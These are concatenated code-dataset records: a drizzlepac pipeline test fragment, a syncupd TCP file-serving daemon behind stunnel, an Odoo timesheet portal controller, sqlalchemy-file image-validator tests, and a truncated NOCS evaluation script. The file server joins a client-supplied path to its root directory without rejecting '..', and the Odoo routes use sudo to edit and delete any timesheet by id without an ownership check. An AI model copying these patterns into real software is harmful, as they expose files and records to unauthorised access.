Retrieve reference files for these as well\n self.get_input_file('', fltfile, docopy=False)\n\n # Insure environment variables are set for full processing\n os.environ['ASTROMETRY_STEP_CONTROL'] = 'on'\n os.environ['ASTROMETRY_COMPUTE_APOSTERIORI'] = 'on'\n os.environ['ASTROMETRY_APPLY_APRIORI'] = 'on'\n\n # Run pipeline processing using\n runastrodriz.process(rawfile, force=True, inmemory=True)\n\n # compare WCSNAMEs from flt and flc files\n flc_wcsname = fits.getval(flcfile, 'wcsname', ext=1)\n flt_wcsname = fits.getval(fltfile, 'wcsname', ext=1)\n\n # Perform comparisons:\n # - WCSNAME values should contain '-' from either a priori or a posteriori solution\n # - WCSNAME value should be the same for FLT and FLC images\n assert('-' in flc_wcsname)\n assert('-' in flt_wcsname)\n assert(flc_wcsname == flt_wcsname)\n","repo_name":"spacetelescope/drizzlepac","sub_path":"tests/hap/test_pipeline.py","file_name":"test_pipeline.py","file_ext":"py","file_size_in_byte":5446,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"78"}
+{"seq_id":"27556889221","text":"#!/usr/bin/python3\n# -*- coding: utf-8; tab-width: 4; indent-tabs-mode: t -*-\n\nimport os\nimport socket\nimport select\nimport struct\nimport traceback\nimport threading\nimport subprocess\nfrom gbs_util import GbsUtil\n\n\nclass CatFileService:\n\n def __init__(self, param, uuid, srcIp, srcCert, rootDir):\n self.param = param\n self.uuid = uuid\n self.srcIp = srcIp\n self.srcCert = srcCert\n self.rootDir = rootDir\n\n self.catfiledLogFile = os.path.join(self.param.logDir, uuid + \"-catfiled.log\")\n\n self.stunnelClientCertFile = os.path.join(self.param.tmpDir, uuid + \"-cert.pem\")\n self.stunnelCfgFile = os.path.join(self.param.tmpDir, uuid + \"-stunnel.conf\")\n self.stunnelRndFile = os.path.join(self.param.tmpDir, uuid + \"-stunnel.rnd\")\n self.stunnelLogFile = os.path.join(self.param.logDir, uuid + \"-stunnel.log\")\n\n self.catFilePort = None\n self.catFileThread = None\n\n self.stunnelPort = None\n self.stunnelProc = None\n\n def start(self):\n try:\n self.catFilePort = GbsUtil.getFreeTcpPort()\n self.catFileThread = _CatFileThread(self.catFilePort, self.catfiledLogFile, self.srcIp, self.srcCert, self.rootDir)\n self.catFileThread.start()\n GbsUtil.waitTcpPort(self.catFilePort)\n\n self.stunnelPort = GbsUtil.getFreeTcpPort()\n self.stunnelProc = self._runStunnelDaemon()\n GbsUtil.waitTcpPort(self.stunnelPort)\n except:\n self.stop()\n raise\n\n def stop(self):\n if self.stunnelProc is not None:\n self.stunnelProc.terminate()\n self.stunnelProc.wait()\n if self.catFileThread is not None:\n self.catFileThread.stop()\n self.catFileThread.join()\n GbsUtil.forceDelete(self.stunnelRndFile)\n GbsUtil.forceDelete(self.stunnelCfgFile)\n GbsUtil.forceDelete(self.stunnelClientCertFile)\n\n def getPort(self):\n return self.stunnelPort\n\n # def _genStunnelClientCert(self):\n # with open(self.stunnelClientCertFile, \"wb\") as f:\n # buf = crypto.dump_certificate(crypto.FILETYPE_PEM, self.srcCert)\n # f.write(buf)\n # os.fchmod(f.fileno(), 0o644)\n\n def _runStunnelDaemon(self):\n buf = \"\"\n buf += \"debug = 6\\n\"\n buf += \"output = %s\\n\" % (self.stunnelLogFile)\n buf += \"\\n\"\n buf += \"cert = %s\\n\" % (self.param.certFile)\n buf += \"key = %s\\n\" % (self.param.privkeyFile)\n buf += \"RNDfile = %s\\n\" % (self.stunnelRndFile)\n buf += \"\\n\"\n buf += \"client = no\\n\"\n buf += \"foreground = yes\\n\"\n buf += \"\\n\"\n buf += \"[rsync]\\n\"\n buf += \"accept = 0.0.0.0:%d\\n\" % (self.stunnelPort)\n buf += \"connect = 127.0.0.1:%d\\n\" % (self.catFilePort)\n with open(self.stunnelCfgFile, \"w\") as f:\n f.write(buf)\n\n cmd = \"\"\n cmd += \"/usr/sbin/stunnel \\\"%s\\\" 2>/dev/null\" % (self.stunnelCfgFile)\n proc = subprocess.Popen(cmd, shell=True, universal_newlines=True)\n return proc\n\n\nclass _CatFileThread(threading.Thread):\n\n def __init__(self, port, logFile, srcIp, srcCert, rootDir):\n super(_CatFileThread, self).__init__()\n self.port = port\n self.logFile = logFile\n self.srcIp = srcIp\n self.srcCert = srcCert\n self.rootDir = rootDir\n self.serverSock = None\n\n def start(self):\n assert self.serverSock is None\n try:\n self.serverSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.serverSock.bind(('0.0.0.0', self.port))\n self.serverSock.listen(1)\n self._log(\"catfiled started, server socket listen on port %d.\" % (self.port))\n super(_CatFileThread, self).start()\n except:\n self.stop()\n\n def stop(self):\n if self.serverSock is not None:\n self.serverSock.close()\n self.serverSock = None\n self._log(\"catfiled stopped, server socket closed.\")\n\n def join(self):\n if self.is_alive():\n super(_CatFileThread, self).join()\n\n def run(self):\n bHasError = False\n try:\n while True:\n if self.serverSock is None:\n return\n\n # accept a socket\n readable, dummy, dummy = select.select([self.serverSock], [], [], 10.0)\n if readable == []:\n continue\n sock, addr = self.serverSock.accept()\n sock.setblocking(0)\n self._log(\"accept session from %s.\" % (addr[0]))\n\n # process an accepted socket\n try:\n # receive data format: fileNameBinaryBytesLen(4bytes) + fileNameAsBinaryBytesEncodedInUtf8\n # send data format: successCode(1byte) + fileBinaryDataLen(8bytes) + fileBinaryData\n # send error format: errorCode(1byte) + errorMessageBinaryBytesLen(8bytes) + errorMessageAsBinaryBytesEncodedInUtf8\n fileNameLen = None\n fileName = None\n errCode = None\n data = None\n bCodeAndLenSent = None\n buf = b''\n\n while True:\n inputs = []\n outputs = []\n if fileNameLen is None or fileName is None:\n inputs.append(sock)\n else:\n outputs.append(sock)\n readable, writable, exceptional = select.select(inputs, outputs, [sock], 10.0)\n if exceptional != []:\n raise Exception(\"socket exception\")\n if readable == [] and writable == []:\n if self.serverSock is None:\n return\n continue\n\n # receive filename length\n if fileNameLen is None:\n buf2 = sock.recv(struct.calcsize(\"!I\") - len(buf))\n if len(buf2) == 0:\n raise EOFError()\n buf += buf2\n if len(buf) < struct.calcsize(\"!I\"):\n if self.serverSock is None:\n return\n continue\n fileNameLen = struct.unpack(\"!I\", buf)[0]\n buf = b''\n self._log(\" filename length received, %d.\" % (fileNameLen))\n\n # receive filename\n if fileName is None:\n buf2 = sock.recv(fileNameLen - len(buf))\n if len(buf2) == 0:\n raise EOFError()\n buf += buf2\n if len(buf) < fileNameLen:\n if self.serverSock is None:\n return\n continue\n fileName = buf.decode(\"utf-8\")\n buf = b''\n self._log(\" filename received, %s.\" % (fileName))\n\n # read file content\n if data is None:\n try:\n if not fileName.startswith(\"/\"):\n raise Exception(\"filename is not absolute path\")\n with open(self.rootDir + fileName, 'rb') as f:\n data = f.read()\n errCode = b'\\x00'\n self._log(\" read file completed, size %d.\" % (len(data)))\n except:\n data = traceback.format_exc().encode(\"utf-8\")\n errCode = b'\\x01'\n self._log(\" read file failed, %s.\" % (traceback.format_exc()))\n bCodeAndLenSent = False\n buf = struct.pack(\"!cQ\", errCode, len(data))\n\n # send error code and data length\n if not bCodeAndLenSent:\n i = sock.send(buf)\n buf = buf[i:]\n if buf != b'':\n if self.serverSock is None:\n return\n continue\n bCodeAndLenSent = True\n self._log(\" error code and data length sent.\")\n\n # send data\n i = sock.send(data)\n data = data[i:]\n if data != b'':\n if self.serverSock is None:\n return\n continue\n sock.close()\n self._log(\" data sent, session closed.\")\n break\n except:\n sock.close()\n self._log(\" session closed on error %s.\" % (traceback.format_exc()))\n except:\n if self.serverSock is not None:\n self.serverSock.close()\n self.serverSock = None\n self._log(\"catfiled terminated for error %s.\" % (traceback.format_exc()))\n bHasError = True\n finally:\n if not bHasError:\n self._log(\"catfiled terminated.\")\n\n def _log(self, message):\n with open(self.logFile, \"a\") as f:\n f.write(message)\n f.write(\"\\n\")\n","repo_name":"syncupd/syncupd","sub_path":"lib/services/catfiled.py","file_name":"catfiled.py","file_ext":"py","file_size_in_byte":9871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"33335496111","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import http, _\nfrom odoo.http import request\nfrom datetime import datetime, timedelta\n# from odoo.addons.website_portal.controllers.main import website_account\nfrom odoo.addons.portal.controllers.portal import CustomerPortal, pager as portal_pager, get_records_pager\n\nfrom odoo.exceptions import UserError\nfrom odoo.osv.expression import OR\n\n# class website_account(website_account):\nclass CustomerPortal(CustomerPortal):\n\n# @http.route()\n# def account(self, **kw):\n# response = super(website_account, self).account(**kw)\n# partner = request.env.user\n# timesheets = request.env['account.analytic.line']\n# timesheets_count = timesheets.sudo().search_count([\n# ('user_id', 'child_of', [request.env.user.id]),('project_id.portal_user_ids','child_of', [request.env.user.id])\n# ])\n# response.qcontext.update({\n# 'timesheets_count': timesheets_count,\n# })\n# return response\n \n def _prepare_portal_layout_values(self):\n values = super(CustomerPortal, self)._prepare_portal_layout_values()\n partner = request.env.user.partner_id\n timesheets = request.env['account.analytic.line']\n timesheets_count = timesheets.sudo().search_count([\n ('user_id', 'child_of', [request.env.user.id]),('project_id.portal_user_ids','child_of', [request.env.user.id])\n ])\n values.update({\n 'timesheets_count': timesheets_count,\n })\n return values\n \n @http.route(['/my/timesheets', '/my/timesheets/page/'], type='http', auth=\"user\", website=True)\n def portal_my_timesheet(self, page=1, sortby=None, search=None, search_in='description',**kw):\n if not request.env.user.has_group('odoo_timesheet_portal_user_employee.analytic_line_portal'):\n return request.render(\"odoo_timesheet_portal_user_employee.not_allowed\")\n response = super(CustomerPortal, self)\n values = self._prepare_portal_layout_values()\n timesheets_obj = http.request.env['account.analytic.line']\n domain = [\n ('user_id', 'child_of', [request.env.user.id]),('project_id.portal_user_ids','child_of', [request.env.user.id])\n ]\n # count for pager\n timesheets_count = http.request.env['account.analytic.line'].sudo().search_count(domain)\n # pager\n pager = request.website.pager(\n url=\"/my/timesheets\",\n total=timesheets_count,\n page=page,\n step=self._items_per_page\n )\n sortings = {\n 'date': {'label': _('Newest'), 'order': 'date desc'},\n 'project': {'label': _('Project'), 'order': 'project_id'},\n }\n\n searchbar_inputs = {\n \n 'name': {'input': 'name', 'label': _('Search in Description')},\n 'date': {'input': 'date', 'label': _('Search in Date')},\n }\n\n # search\n if search and search_in:\n search_domain = []\n if search_in in ('name'):\n search_domain = OR([search_domain, [('name', '=', search)]])\n if search_in in ('date'):\n search_domain = OR([search_domain, [('date', '=', search)]])\n domain += search_domain\n \n if not sortby:\n sortby = 'date'\n order = sortings[sortby]['order']\n # order = sortings.get(sortby, sortings['date'])['order']\n \n # content according to pager and archive selected\n timesheets = timesheets_obj.sudo().search(domain, order=order, limit=self._items_per_page, offset=pager['offset'])\n values.update({\n 'timesheets': timesheets,\n 'page_name': 'employee_timesheets',\n 'searchbar_sortings' : sortings,\n 'sortby': sortby,\n 'search_in': search_in,\n 'pager': pager,\n 'searchbar_inputs' : searchbar_inputs,\n 'default_url': '/my/timesheets',\n\n })\n return request.render(\"odoo_timesheet_portal_user_employee.display_timesheets\", values)\n \n @http.route(['/my/add_timesheet'], type='http', auth=\"user\", website=True)\n def portal_add_timesheet(self, page=1, date_begin=None, date_end=None, project=False, task=False, **kw):\n if not request.env.user.has_group('odoo_timesheet_portal_user_employee.analytic_line_portal'):\n return request.render(\"odoo_timesheet_portal_user_employee.not_allowed\")\n project_ids = request.env['project.project'].sudo().search([('portal_user_ids','child_of', [request.env.user.id]),('is_close', '=', False)])\n task_ids = request.env['project.task'].sudo().search([('portal_user_ids','child_of', [request.env.user.id]),('stage_id.is_close', '=', False)])\n values={\n 'project_ids': project_ids,\n 'projects':project,\n 'task_ids':task_ids,\n 'tasks': task,\n 'page_name': 'new_timesheet',\n 'add_new_timesheet': True,\n }\n return request.render(\"odoo_timesheet_portal_user_employee.add_new_timesheet\", values)\n \n @http.route(['/my/create_new_timesheet'], type='http', auth=\"user\", website=True)\n def create_new_timesheet(self, **kwargs):\n if not request.env.user.has_group('odoo_timesheet_portal_user_employee.analytic_line_portal') or not kwargs:\n return request.render(\"odoo_timesheet_portal_user_employee.not_allowed\")\n valse ={\n 'user_id': request.env.user.id\n }\n if kwargs.get('project_id'):\n valse.update({'project_id': int(kwargs.get('project_id'))})\n if kwargs.get('task_id'):\n valse.update({'task_id': int(kwargs.get('task_id'))})\n if kwargs.get('description'):\n valse.update({'name': kwargs.get('description')})\n if kwargs.get('quantity'):\n quantity_str = str(kwargs.get('quantity'))\n try:\n date_tt = datetime.strptime(quantity_str,'%H:%M') - datetime.strptime(str('0:0'),'%H:%M')\n except:\n return request.render(\"odoo_timesheet_portal_user_employee.hour_usererror_msg\")\n quantity = date_tt.total_seconds()/3600.00\n valse.update({'unit_amount': quantity})\n if kwargs.get('start_date'):\n date = datetime.strptime(kwargs.get('start_date'), \"%Y-%m-%d\")\n valse.update({'date': date.date()})\n request.env['account.analytic.line'].sudo().create(valse)\n return request.render(\"odoo_timesheet_portal_user_employee.user_thanks\")\n\n\n @http.route(['/my/timesheet/'], type='http', auth=\"user\", website=True)\n def edit_timesheet(self, timesheet=None, **kw):\n if not request.env.user.has_group('odoo_timesheet_portal_user_employee.analytic_line_portal'):\n return request.render(\"odoo_timesheet_portal_user_employee.not_allowed\")\n analytic_line = request.env['account.analytic.line'].sudo().browse([timesheet])\n line_date = datetime.strptime(str(analytic_line.date), \"%Y-%m-%d\").strftime('%Y-%m-%d')\n values={\n 'line': analytic_line,\n 'line_date': line_date,\n }\n \n return request.render(\"odoo_timesheet_portal_user_employee.edit_timesheet\", values)\n\n @http.route(['/my/update_timesheet'], type='http', auth=\"user\", website=True)\n def update_timesheet(self, **kwargs):\n if not request.env.user.has_group('odoo_timesheet_portal_user_employee.analytic_line_portal') or not kwargs:\n return request.render(\"odoo_timesheet_portal_user_employee.not_allowed\")\n valse = {}\n if kwargs.get('project_id'):\n valse.update({'project_id': int(kwargs.get('project_id'))})\n if kwargs.get('task_id'):\n valse.update({'task_id': int(kwargs.get('task_id'))})\n if kwargs.get('description'):\n valse.update({'name': kwargs.get('description')})\n if kwargs.get('quantity'):\n quantity_str = str(kwargs.get('quantity'))\n try:\n date_tt = datetime.strptime(quantity_str,'%H:%M') - datetime.strptime(str('0:0'),'%H:%M')\n except:\n return request.render(\"odoo_timesheet_portal_user_employee.hour_usererror_msg\")\n quantity = date_tt.total_seconds()/3600.00\n valse.update({'unit_amount': quantity})\n if kwargs.get('date'):\n date = datetime.strptime(kwargs.get('date'), \"%Y-%m-%d\")\n valse.update({'date': date})\n if kwargs.get('line_id'):\n line_id = request.env['account.analytic.line'].sudo().browse(int(kwargs.get('line_id')))\n if line_id:\n line_id.write(valse)\n return request.render(\"odoo_timesheet_portal_user_employee.update_successfully\")\n\n @http.route(['/my/timesheet/delete/'], type='http', auth=\"user\", website=True)\n def delete_timesheet(self, timesheet=None, **kw):\n analytic_line = request.env['account.analytic.line'].browse([timesheet])\n try:\n analytic_line.sudo().unlink()\n except:\n return request.render(\"odoo_timesheet_portal_user_employee.not_allowed\")\n return request.render(\"odoo_timesheet_portal_user_employee.delet_successfully\")\n\n","repo_name":"AardugNL/Faber-timesheet","sub_path":"odoo_timesheet_portal_user_employee/controllers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"70924549371","text":"import base64\nimport tempfile\n\nimport pytest\nfrom sqlalchemy import Column, Integer, String, select\nfrom sqlalchemy.orm import Session, declarative_base\nfrom sqlalchemy_file.exceptions import (\n AspectRatioValidationError,\n DimensionValidationError,\n)\nfrom sqlalchemy_file.storage import StorageManager\nfrom sqlalchemy_file.types import ImageField\nfrom sqlalchemy_file.validators import ImageValidator\n\nfrom tests.utils import get_test_container, get_test_engine\n\nengine = get_test_engine()\nBase = declarative_base()\n\n\n@pytest.fixture\ndef fake_image_low_width(): # width=5, height=10\n file = tempfile.NamedTemporaryFile(suffix=\".png\")\n data = base64.b64decode(\n \"iVBORw0KGgoAAAANSUhEUgAAAAUAAAAKCAYAAAB8OZQwAAAAAXNSR0IArs4c6QAAAHNJREFUGFd9zkEHhCEUheHTJiIRtYyW/f9\"\n \"/0q5NRNpFJKLNHc2Y1XzmLh+u87IYIxlj8L3eO9hF5xy01hhjoNYKlnOmcw5CCEgpgXMO1lqjOSeklFhrQSn1QSEESinw3mPv/Qd/3h\"\n \"+HHpMuWmtBRO/+G/8CjIpct7mYGLEAAAAASUVORK5CYII=\"\n )\n file.write(data)\n file.seek(0)\n return file\n\n\n@pytest.fixture\ndef fake_image_low_height(): # width=10, height=7\n file = tempfile.NamedTemporaryFile(suffix=\".png\")\n data = base64.b64decode(\n \"iVBORw0KGgoAAAANSUhEUgAAAAoAAAAHCAYAAAAxrNxjAAAAAXNSR0IArs4c6QAAAKNJREFUKFNtj8sKhCAYhU+LsOiy0YVIBr3/y\"\n \"/gGQam0qI0UES4KHWZqhvlXB/6Pc0mUUmeWZaiqCv/OOYfjOJBorU/vPfZ9h5QSZVlGfl1XjOOIPM\"\n \"+RpikSY8wphMA8z9Bag3MewWma0DQNGGOw1t5geIaYvu8j2HUd6rqO+gtcliVGPR1DFUrpC3x2bNsWRVFEl23bMAzD3TGsJoR8Yn6Xv1df\"\n \"/fReRqm21woAAAAASUVORK5CYII=\"\n )\n file.write(data)\n file.seek(0)\n return file\n\n\n@pytest.fixture\ndef fake_image_huge_width(): # width=20, height=10\n file = tempfile.NamedTemporaryFile(suffix=\".png\")\n data = base64.b64decode(\n \"iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAAAXNSR0IArs4c6QAAAPJJREFUOE+lkjEKg0AQRf\"\n \"+CFoKNWghWgnZ2Nh7AztJbWHkJ72AhHsFOsPIMIngEFaxsBC2EDa4oScBEkqmW4f+3\"\n \"/JkhVVXRMAyRJAlEUcQvtSwLpmliVtJ1HY3jGI7jwDRNqKoKSZJuccdxxDAMTLv55nnegUVRQNd12Lb9IrgCv4MOXd/3O7AsSyiKAs\"\n \"/z2G9Xhqv+EecE5nkOwzDguu5L1AOwrivrcxz3cSQnME1T+L4Py7L+B7ZtS4MgQJZl4Hn+/8iyLDNgFEWXs3tf\"\n \"+celNE1DNU27td1vYHY2dV3TTbgdtSAIoJSCEMK82/tOPR/2A3aLsV8FPmE1AAAAAElFTkSuQmCC\"\n )\n file.write(data)\n file.seek(0)\n return file\n\n\n@pytest.fixture\ndef fake_image_huge_height(): # width=10, height=17\n file = tempfile.NamedTemporaryFile(suffix=\".png\")\n data = base64.b64decode(\n \"iVBORw0KGgoAAAANSUhEUgAAAAoAAAARCAYAAADkIz3lAAAAAXNSR0IArs4c6QAAAQpJREFUKFOVkj2LhEAMhjOF2wgq6xfa2CiK+P9\"\n \"/h4WIooUWKqIuq2CjxRzJsR5y3t1eqiF5JnnfzLA4jrlhGMA5h59iGAZgSZJwTdPANM1Lru97GMcRWFVVfJomiKIIbrfbCd62DZIkAVV\"\n \"VgTVNQzP3fQfHcU5gXdcgCALlCLQsi24iKEkSFZZlAQRxUtd1n6Bt2/B4PABF+75PYJ7noOs63O93aNv2C8RiURQgyzKB8zyD53l0/\"\n \"gau6wplWVLRdV0QRfEaxGyaplQMw/AwdtkRx2Pg2FfHk5mXRkVRCHw+n4fGE4hLR9dBEBCYZRm5xmUf4Nt7/OtlGGP/eOt3fg/qZ/gf\"\n \"UfRvgSY/AOhSyq08LXSPAAAAAElFTkSuQmCC\"\n )\n file.write(data)\n file.seek(0)\n return file\n\n\n@pytest.fixture\ndef fake_image_invalid_ratio(): # width=10, height=15\n file = tempfile.NamedTemporaryFile(suffix=\".png\")\n data = base64.b64decode(\n \"iVBORw0KGgoAAAANSUhEUgAAAAoAAAAPCAYAAADd/14OAAAAAXNSR0IArs4c6QAAAMFJREFUKFOdUrEKhDAUy3N1EMEuou76/x\"\n \"/iVHetToI4dG2PVMop54F32UpDkpf3pO97r5TCN3jvsa4rRGvt0zRF0zS33HEcYa2FGGP8tm2o6xpZll3I\"\n \"+75jmibkeQ6Z5zkoGmPQti2SJAlk5xyGYUBVVYciiWVZghZEjHB+L8vyJlJBax0iELTsui44XIj8ZCYqicgl8weRZKoSVIu4VaQlu2PW2MJ\"\n \"/GR9NzR7PU8YeYwu/bebxrnk9RVGE7u4Qr+cFO529ZB6GXB0AAAAASUVORK5CYII= \"\n )\n file.write(data)\n file.seek(0)\n return file\n\n\n@pytest.fixture\ndef fake_valid_image(): # width=14, height=15\n file = tempfile.NamedTemporaryFile(suffix=\".png\")\n data = base64.b64decode(\n \"iVBORw0KGgoAAAANSUhEUgAAAA4AAAAPCAYAAADUFP50AAAAAXNSR0IArs4c6QAAASpJREFUOE+tU0GLglAYHIs0hAg0KjO82cn//y\"\n \"+8eUq6iJZKCiJEGuUyH7Sxm0UsOyd5fsN8M2+e4vt+Z5omRqMRPkHbtijLEsput+vquobrutB1\"\n \"/S33dDohDENMJhMoSZJ0qqoiTVMha5rWS26aRkjL5RJUFeJqtUKe5zgej0L+vfblchHSbDbDfD7Hfr9\"\n \"/EClzOBxQVRU2mw0Gg4Eo3243bLdbTKdTWJYlZ09EHiZJAnqhMkElerdt+9tCL5F/oygC1yO4tuM4P3y/JHIqCAIZ9jzvKaz\"\n \"/VYzjWDwyIILB0ON6vX7t8Z4qgxkOhzJ4vV4loJepZlmGoije3iOruVgsHtfBttAwlcbjcW9zzuezKLMsbNHfu8rXYRiGdLTrOiiKIor87sP9\"\n \"dXwBhJXeghs+f/MAAAAASUVORK5CYII=\"\n )\n file.write(data)\n file.seek(0)\n return file\n\n\nclass Book(Base):\n __tablename__ = \"book\"\n\n id = Column(Integer, autoincrement=True, primary_key=True)\n title = Column(String(100), unique=True)\n cover = Column(\n ImageField(\n image_validator=ImageValidator(\n min_wh=(10, 10),\n max_wh=(15, 15),\n min_aspect_ratio=12 / 15,\n max_aspect_ratio=1,\n )\n )\n )\n\n def __repr__(self):\n return f\"\" # pragma: no cover\n\n\nclass TestImageValidator:\n def setup_method(self, method) -> None:\n Base.metadata.create_all(engine)\n StorageManager._clear()\n StorageManager.add_storage(\"test\", get_test_container(\"test-image-validator\"))\n\n def test_min_width_validation(self, fake_image_low_width) -> None:\n with Session(engine) as session:\n session.add(Book(title=\"Pointless Meetings\", cover=fake_image_low_width))\n with pytest.raises(\n DimensionValidationError,\n match=\"Minimum allowed width is: 10, but 5 is given\",\n ):\n session.flush()\n\n def test_min_height_validation(self, fake_image_low_height) -> None:\n with Session(engine) as session:\n session.add(Book(title=\"Pointless Meetings\", cover=fake_image_low_height))\n with pytest.raises(\n DimensionValidationError,\n match=\"Minimum allowed height is: 10, but 7 is given.\",\n ):\n session.flush()\n\n def test_max_width_validation(self, fake_image_huge_width) -> None:\n with Session(engine) as session:\n session.add(Book(title=\"Pointless Meetings\", cover=fake_image_huge_width))\n with pytest.raises(\n DimensionValidationError,\n match=\"Maximum allowed width is: 15, but 20 is given\",\n ):\n session.flush()\n\n def test_max_height_validation(self, fake_image_huge_height) -> None:\n with Session(engine) as session:\n session.add(Book(title=\"Pointless Meetings\", cover=fake_image_huge_height))\n with pytest.raises(\n DimensionValidationError,\n match=\"Maximum allowed height is: 15, but 17 is given.\",\n ):\n session.flush()\n\n def test_invalid_aspect_ratio(self, fake_image_invalid_ratio) -> None:\n with Session(engine) as session:\n session.add(\n Book(title=\"Pointless Meetings\", cover=fake_image_invalid_ratio)\n )\n with pytest.raises(AspectRatioValidationError):\n session.flush()\n\n def test_valid_image(self, fake_valid_image) -> None:\n with Session(engine) as session:\n session.add(Book(title=\"Pointless Meetings\", cover=fake_valid_image))\n session.flush()\n book = session.execute(\n select(Book).where(Book.title == \"Pointless Meetings\")\n ).scalar_one()\n assert book.cover.file is not None\n\n def teardown_method(self, method):\n for obj in StorageManager.get().list_objects():\n obj.delete()\n StorageManager.get().delete()\n Base.metadata.drop_all(engine)\n","repo_name":"jowilf/sqlalchemy-file","sub_path":"tests/test_image_validator.py","file_name":"test_image_validator.py","file_ext":"py","file_size_in_byte":7629,"program_lang":"python","lang":"en","doc_type":"code","stars":69,"dataset":"github-code","pt":"78"}
+{"seq_id":"13668645249","text":"import argparse, sys, glob, os, json\n\nimport numpy as np\nimport cv2\n\nfrom tk3dv.nocstools import datastructures as ds \nfrom EvalUtils import nocs2pc, read_nocs_map, filter_nocs_map, dict2np\n\nclass Evaluation(object):\n ''' Base class for evaluations to run. Loads GT NOCS map data.'''\n def __init__(self, args):\n self.parse_args(args)\n # load in some initial results data\n if self.nocs_view_type == 'single' or self.nocs_view_type=='multi':\n self.nocs_results = NOCSResults(self.nocs_path, self.nocs_view_type, pred_filter=self.pred_filter)\n\n def parse_args(self, args):\n parser = argparse.ArgumentParser(fromfile_prefix_chars='@')\n\n # root of the NOCs results to load ground truth data from (nocs maps and camera pose)\n parser.add_argument('--nocs-results', required=True, help='root of the nocs results data')\n parser.add_argument('--type', help='result type (single or mutli) view.', choices=['single', 'multi'], required=True)\n parser.add_argument('--pred-filter', help='filter to apply to predicted NOCS maps. [bilateral, median]', default=None)\n parser.add_argument('--no-save-pc', dest='no_save_pc', action='store_true', help='Do not save the output point clouds for each examples')\n parser.set_defaults(no_save_pc=True)\n\n flags, _ = parser.parse_known_args(args)\n print(flags)\n\n self.nocs_path = flags.nocs_results\n self.nocs_view_type = flags.type\n self.no_save_pc = flags.no_save_pc\n self.pred_filter = flags.pred_filter\n\n def run(self):\n print(self.nocs_results.get_camera_pose(0))\n pred00 = self.nocs_results.get_nox00_pred(0)\n print(pred00.shape)\n print(self.nocs_results.get_nox01_pred(0).shape)\n print(self.nocs_results.get_nox00_gt(0).shape)\n print(self.nocs_results.get_nox01_gt(0).shape)\n print([x.shape for x in self.nocs_results.get_pc_pred(0)])\n print([x.shape for x in self.nocs_results.get_pc_pred(0, layer=0)])\n print([x.shape for x in self.nocs_results.get_pc_pred(0, layer=1)])\n print([x.shape for x in self.nocs_results.get_pc_pred(0, nocs_maps=pred00)])\n print([x.shape for x in self.nocs_results.get_pc_gt(0)])\n print([x.shape for x in self.nocs_results.get_pc_gt(0, layer=0)])\n print([x.shape for x in self.nocs_results.get_pc_gt(0, layer=1)])\n\nclass NOCSResults(object):\n ''' Structure to hold results from single view NOCS model. Indexes by model not by individual frames.'''\n def __init__(self, root, view_type, pred_filter=None):\n '''\n Constructs a NOCSResults object. If provided, the pred_filter (None, 'median', 'bilateral') will\n be applied to predicted NOCS maps before returned (i.e. in get_nox_*_pred_data).\n '''\n self.root = root\n self.pred_filter = pred_filter\n if pred_filter not in [None, 'median', 'bilateral']:\n print('Filter type ' + str(pred_filter) + ' not supported. No filter will be applied.')\n self.pred_filter = None\n if not os.path.exists(self.root):\n print('[NOCSSingleResults.__init__] Could not find results data at given path!')\n return\n\n # read in metadata list of models\n meta_path = os.path.join(self.root, 'model_info.txt')\n self.meta_info = []\n if os.path.exists(meta_path):\n with open(meta_path, 'r') as meta_file:\n self.meta_info = meta_file.read().split('\\n')\n if self.meta_info[-1] == '': # check for trailing new line\n self.meta_info = self.meta_info[:-1]\n if len(self.meta_info) == 0:\n print('[NOCSSingleResults.__init__] Could not find meta info!')\n self.meta_info = [info.split('/') for info in self.meta_info]\n self.meta_info = [(info[0], info[1], int(info[2])) for info in self.meta_info]\n else:\n print('No meta info file! Cannot evaluate!')\n return\n\n # collect indices from the same model (assuming file in order)\n self.model_map = [] # maps model number to indices in data arrays\n cur_model = self.meta_info[0][1]\n cur_model_list = []\n for i, info in enumerate(self.meta_info):\n model = info[1]\n if i > 0 and model != cur_model:\n # push the one we were collecting\n self.model_map.append(cur_model_list)\n # setup new\n cur_model_list = [i]\n cur_model = model\n else:\n cur_model_list.append(i)\n self.model_map.append(cur_model_list)\n\n # the number of models\n self.length = len(self.model_map)\n\n # read in camera pos/rot data\n poses = sorted(glob.glob(self.root + '/*_pose.json'))\n self.cam_pos = np.zeros((len(poses), 3))\n self.cam_rot = np.zeros((len(poses), 4))\n for i, pose_path in enumerate(poses):\n with open(pose_path, 'r') as pose_file:\n cur_pose = json.load(pose_file)\n if len(cur_pose) == 0:\n print('Could not read pose info for' + pose_path)\n self.cam_pos[i] = dict2np(cur_pose['position'])\n self.cam_rot[i] = dict2np(cur_pose['rotation'])\n\n # everything else we will store a path to and read in lazily as needed\n # needs to be sorted in frame and then view order to match model info!\n if view_type == 'single':\n sort_by_frame = lambda file_path: int(file_path.split('/')[-1].split('_')[1])\n elif view_type == 'multi':\n sort_by_frame = lambda file_path: (int(file_path.split('/')[-1].split('_')[1]), int(file_path.split('/')[-1].split('_')[3]))\n self.color00 = sorted(glob.glob(self.root + '/*_color00.png'), key=sort_by_frame)\n self.color01_gt = sorted(glob.glob(self.root + '/*_color01_gt.png'), key=sort_by_frame)\n self.mask00_gt = sorted(glob.glob(self.root + '/*_mask00_gt.png'), key=sort_by_frame)\n self.mask01_gt = sorted(glob.glob(self.root + '/*_mask01_gt.png'), key=sort_by_frame)\n self.mask00_pred = sorted(glob.glob(self.root + '/*_mask00_pred.png'), key=sort_by_frame)\n self.mask01_pred = sorted(glob.glob(self.root + '/*_mask01_pred.png'), key=sort_by_frame)\n self.nox00_gt = sorted(glob.glob(self.root + '/*_nox00_gt.png'), key=sort_by_frame)\n self.nox01_gt = sorted(glob.glob(self.root + '/*_nox01_gt.png'), key=sort_by_frame)\n self.nox00_pred = sorted(glob.glob(self.root + '/*_nox00_pred.png'), key=sort_by_frame)\n self.nox01_pred = sorted(glob.glob(self.root + '/*_nox01_pred.png'), key=sort_by_frame)\n\n # frame_ordering = [int(f.split('/')[-1].split('_')[1]) for f in self.color00]\n # print(frame_ordering)\n\n 